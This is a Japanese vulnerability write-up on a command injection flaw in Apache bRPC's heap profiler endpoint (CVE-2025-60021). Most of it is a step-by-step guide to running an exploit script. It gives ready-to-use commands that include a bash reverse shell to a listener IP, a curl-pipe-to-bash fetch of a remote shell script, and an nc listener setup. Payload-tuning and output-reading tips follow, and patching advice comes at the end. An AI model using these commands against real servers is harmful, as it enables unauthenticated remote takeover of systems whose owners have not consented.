❗攻撃者はこのプロファイリングパラメータを操作するだけで、リモートからコマンドを注入できます。

🚨 深刻度とリスク

🔥 深刻度評価: 重大 📊 CVSS v3.1 基本スコア: 9.8 / 10 ベクター: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (INCIBE)

👉 これは、攻撃者がログイン不要でリモートから任意のコマンドを実行できることを意味し、公開されたサービスにとって最悪のシナリオです。

🧠 技術的詳細

🔍 仕組み

1. ヒーププロファイラの公開: bRPC はメモリ分析（jemalloc）用のプロファイリングエンドポイント (/pprof/heap) を公開しています。(openwall.com)
2. 入力処理のバグ: エンドポイントは extra_options パラメータを受け入れます。bRPC はそれをサニタイズせずに OS シェルに直接渡します。(openwall.com)
3. コマンドインジェクション: 悪意のある攻撃者がシステムコマンドを含む入力を細工すると、サービスがそれを実行します。(CVE Details)

CVE-2025-60021 PoC スクリプトの使用手順

スクリプトが CVE-2025-60021.py として保存されていることを前提としています（実際の CVE は 2025-60021 ですが、自由にリネームしてください）。これは Apache bRPC のヒーププロファイラにおけるリモートコマンドインジェクション脆弱性を実証するための Python 3 スクリプトです。所有しているシステム、または明示的な書面によるテスト許可を得たシステムでのみ実行してください。許可なく悪用することは違法です。

前提条件

1. Python 環境: Python 3 がインストールされていることを確認してください（例: 3.6 以上）。スクリプトは組み込みモジュールに加えて requests と argparse を使用します（これらは標準的または簡単にインストールできます）。

2. 依存関係のインストール: まだインストールされていない場合は、requests ライブラリをインストールします。

   root@kitploit:~

   pip install requests
   

3. ターゲットのセットアップ: 脆弱な Apache bRPC サーバーが必要です。

   • バージョン < 1.15.0。
   • ヒーププロファイラが有効になっていること（サーバー設定を確認。開発環境ではデフォルトで有効になっていることが多い）。
   • ネットワーク経由でアクセス可能（例: http://localhost:8060 またはリモート IP/ポート）。 ローカルでテストする場合は、脆弱な bRPC インスタンスをセットアップしてください（例: Docker またはソースビルドから。Apache bRPC のドキュメントを参照）。

4. 権限: ネットワークアクセスや特権が必要な場合のみ sudo で実行。それ以外は python3 で問題ありません。

ステップ1: スクリプトの保存

先ほど提供した PoC コードを CVE-2025-60021.py という名前のファイルにコピーしてください。必要に応じて実行可能にします。

ステップ2: 引数の理解

スクリプトは2つの必須の位置引数を取ります。

• target: 脆弱な bRPC サーバーの URL（例: http://192.168.1.100:8060 または http://targets:8060—スキームの欠落やホスト名の誤りなど、タイポを修正してください）。
• cmd: ターゲット上で実行するコマンド（例: ユーザー情報を取得する "id"、またはリバースシェルのための "curl http://your-server/reverse-shell.sh | bash" のようなより複雑なもの）。&& や ; を使用して複数のコマンドをチェーンできます。

ステップ3: スクリプトの実行

ターミナルを開き（例: Kali Linux を使用している場合）、ターゲットとコマンドを指定して実行します。コマンド例:

• 基本テスト（システム情報の取得）:

  root@kitploit:~

  sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
  

• リバースシェルの例（your-listener-ip とポートを置き換え、事前に nc -lvnp 4444 などのリスナーをセットアップ）:

  root@kitploit:~

  sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
  

• HTTPS や別のポートを使用する場合は、URL を適宜調整してください（例: https://target:443—スクリプトは処理しますが、証明書の問題がある場合は --insecure を追加してください）。

ステップ4: 出力の解釈

成功の兆候:

• Exploit likely succeeded! (200 OK)
• 応答本文にコマンドの出力が表示される可能性あり（例: id を実行した場合は uid=0(root)...）。
• 出力のないコマンド（ファイル書き込みやシェルなど）の場合は、ターゲットサーバー（ログ、プロセス）またはリスナーを確認してください。

失敗の兆候（見られた例）:

• Got status code 404 - maybe not vulnerable?"
• "[E1002] Heap profiler is not enabled" のようなエラーメッセージは、エンドポイントがアクティブでないことを意味します。ターゲットで有効にするか、別の脆弱性インスタンスを見つけてください。
• タイムアウトまたは接続エラー: ターゲットに到達できない、ファイアウォールがブロックしている、ポートが間違っている。
• 出力が漏れない場合でも、コマンドはサーバー上でサイレントに実行されています。

ステップ5: 一般的な問題のトラブルシューティング

• 404 エラー: ヒーププロファイラが無効になっています。bRPC の設定で有効にし（例: --enable_heap_profiler=true）、サーバーを再起動してください。
• Argparse エラー: cmd 引数を忘れています。必ず含めてください。
• 応答本文に出力がない: 一部のコマンドは標準出力を生成しません。出力を生成するコマンド（例: echo "test" > /tmp/proof.txt）を使用し、ターゲット上のファイルを確認してください。
• 権限: bRPC プロセスが root 以外で実行されている場合、コマンドはそのユーザーの権限に制限されます。
• ペイロードの調整: ; が機能しない場合は、チェーンに && または | を試してください。必要に応じて特殊文字を URL エンコードしてください（スクリプトはほとんどの場合処理します）。
• ローカルテスト: 脆弱な bRPC の Docker コンテナを起動して、実際のシステムを危険にさらさずに検証してください。

ステップ6: クリーンアップと倫理的な注意点

• テスト後、ターゲットをパッチしてください: bRPC 1.15.0 以上にアップグレードするか、/pprof/heap を無効にします。
• アーティファクト（作成したシェルやファイルなど）を削除します。
• ペネトレーションテストの場合は、コンプライアンスのためにテストを記録します。

悪用が脆弱なターゲット（ヒーププロファイラが有効、未パッチの bRPC <1.15.0）で成功した場合、ターミナル出力は次のようになります（正確な詳細はコマンドの標準出力とサーバー設定に依存します）:

主な兆候: 200 OK ステータス、そしてコマンド（id && whoami && uname -a など）が出力を生成する場合、それが応答本文に現れる可能性があります（プロファイラのゴミと混ざっています）。サイレントコマンド（リバースシェルなど）の場合は、ターゲットサーバーまたはリスナーでアクティビティを確認してください。端末上で 200 以外の直接的な確認はありません。😈

🛠 緩和策と修正

✅ 主な解決策

• 👉 Apache bRPC をバージョン 1.15.0 以上 にアップグレードしてください。(NVD)

🧩 代替修正

• 🛠 公式パッチ を Apache bRPC GitHub リポジトリ（Pull Request #3101）から手動で適用します。(openwall.com)

🔒 追加の保護策

• ファイアウォール / ACL: 信頼できないネットワークから /pprof/heap へのアクセスをブロックします。
• プロファイリングの無効化: 不要な場合はヒーププロファイリングをオフにします。
• ログの監視: 異常なプロファイラアクティビティを監視します。

💡 これが危険な理由

✔ 攻撃者は 認証情報を必要としません。 ✔ ネットワーク経由で 機能します。 ✔ 脆弱な bRPC を使用するすべてのプラットフォームに影響します。 ✔ システム全体の乗っ取り につながる可能性があります。

bRPC を重要なサービス（検索、ストレージ、機械学習パイプラインなど）で使用している企業は、この欠陥が 診断ツール を 攻撃ベクトル に変えるため、特にリスクにさらされます。(Daily CyberSecurity)

🧾 補足事項

⚠ EPSS（Exploit Prediction Scoring System）: 一部のフィードでは、これまでのところエクスプロイトの観測は少ないとされていますが、悪用の容易さから、実際の攻撃で急速に利用される可能性があります。(Tenable®)

📌 分類: CWE-77 — コマンドにおける特殊要素の不適切な無害化（Command Injection）。(NVD)

📎 参考文献

• NIST/NVD CVE-2025-60021 脆弱性エントリ (NVD)
• Apache & Openwall セキュリティアドバイザリ 詳細 (openwall.com)
• INCIBE-CERT CVSS とメトリクスの内訳 (INCIBE)
• CVE Details 概要（影響を受けるバージョンと修正のガイダンス）(CVE Details)

Apache bRPC を本番環境で実行している場合は、すぐにパッチを適用し、診断エンドポイントへのアクセスを制限してリスクを軽減してください。